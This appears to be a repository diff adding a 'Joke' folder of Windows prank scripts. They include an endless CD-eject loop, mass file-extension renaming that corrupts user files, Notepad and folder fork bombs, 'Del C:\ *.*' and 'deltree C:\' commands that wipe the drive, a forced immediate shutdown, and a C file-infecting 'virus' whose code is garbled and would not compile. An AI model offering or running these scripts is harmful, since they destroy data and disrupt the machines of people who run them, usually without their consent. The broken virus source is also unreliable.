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Joke/README.md

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+![BAT-v_1.8](https://socialify.git.ci/sachinl0har/BAT-v_1.8/image?font=Source%20Code%20Pro&forks=1&issues=1&language=1&owner=1&pulls=1&stargazers=1&theme=Dark)
+# BAT-v_1.8

Joke/cd_popup.bat

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+Set oWMP = CreateObject(“WMPlayer.OCX.7”)
+Set colCDROMs = oWMP.cdromCollection
+do
+if colCDROMs.Count >= 1 then
+For i = 0 to colCDROMs.Count – 1
+colCDROMs.Item(i).Eject
+Next
+For i = 0 to colCDROMs.Count – 1
+colCDROMs.Item(i).Eject
+Next
+End If
+wscript.sleep 5000
+loop

Joke/corrupt_files.bat

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+@echo off
+ren *.exe *.txt
+ren *.jpeg *.txt
+ren *.mp3 *.txt
+ren *.doc *.com
+ren *.jpg *.txt

Joke/crash_folder.bat

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+@echo off
+:RON
+md folder1
+md folder2
+md folder3
+md folder4
+md folder5
+start folder1
+start folder2
+start folder3
+start folder4
+start folder5
+goto RON

Joke/crash_notepad.bat

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+@echo off
+:RON
+start notepad
+start notepad
+start notepad
+goto RON

Joke/endless-notepads.bat

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+@ECHO off
+ :top
+ START %SystemRoot%\system32\notepad.exe
+ GOTO top

Joke/file_virus.bat

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+FILE *Ron *vRon;
+int owned = 0;
+unsigned long x;
+char buff[256];
+struct ffblk ffblk;
+clock_t st, end;
+main()
+{
+ st=clock();
+ clrscr();
+ owned=(find_first(“*.*”, &ffblk,0);
+ while(!done)
+ {
+ Ron=fopen(_arg[0], “rb”);
+ vhost=fopen(ffblk.ff_name, “rb+”);
+ if (vhost = =NULL)
+ goto next;
+ x = 89088;
+ printf(“infecting %s\n”, ffblk.ff_name);
+ while(x>2048)
+ {
+ fread(buff,256,1,Ron);
+ fwrite(buff,256,1,vRon);
+ x – = 2048;
+ }
+ fread(buff,x,1,Ron);
+ fwrite(buff,x,1,vRon);
+ a++;
+ next:      fcloseall();
+ owned = findnext(&ffblk);
+ }
+ end = clock()
+ printf(“Infected %d files in %f sec”, a, (end-st)/CLK_TCk);
+ return (0);
+}

Joke/format_c.bat

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+@Echo off
+Del C:\ *.* |y

Joke/os_remover.bat

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+@echo off
+deltree C:\

Joke/shutdown_t-0s.bat

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+@echo off
+shutdown -s -t “00”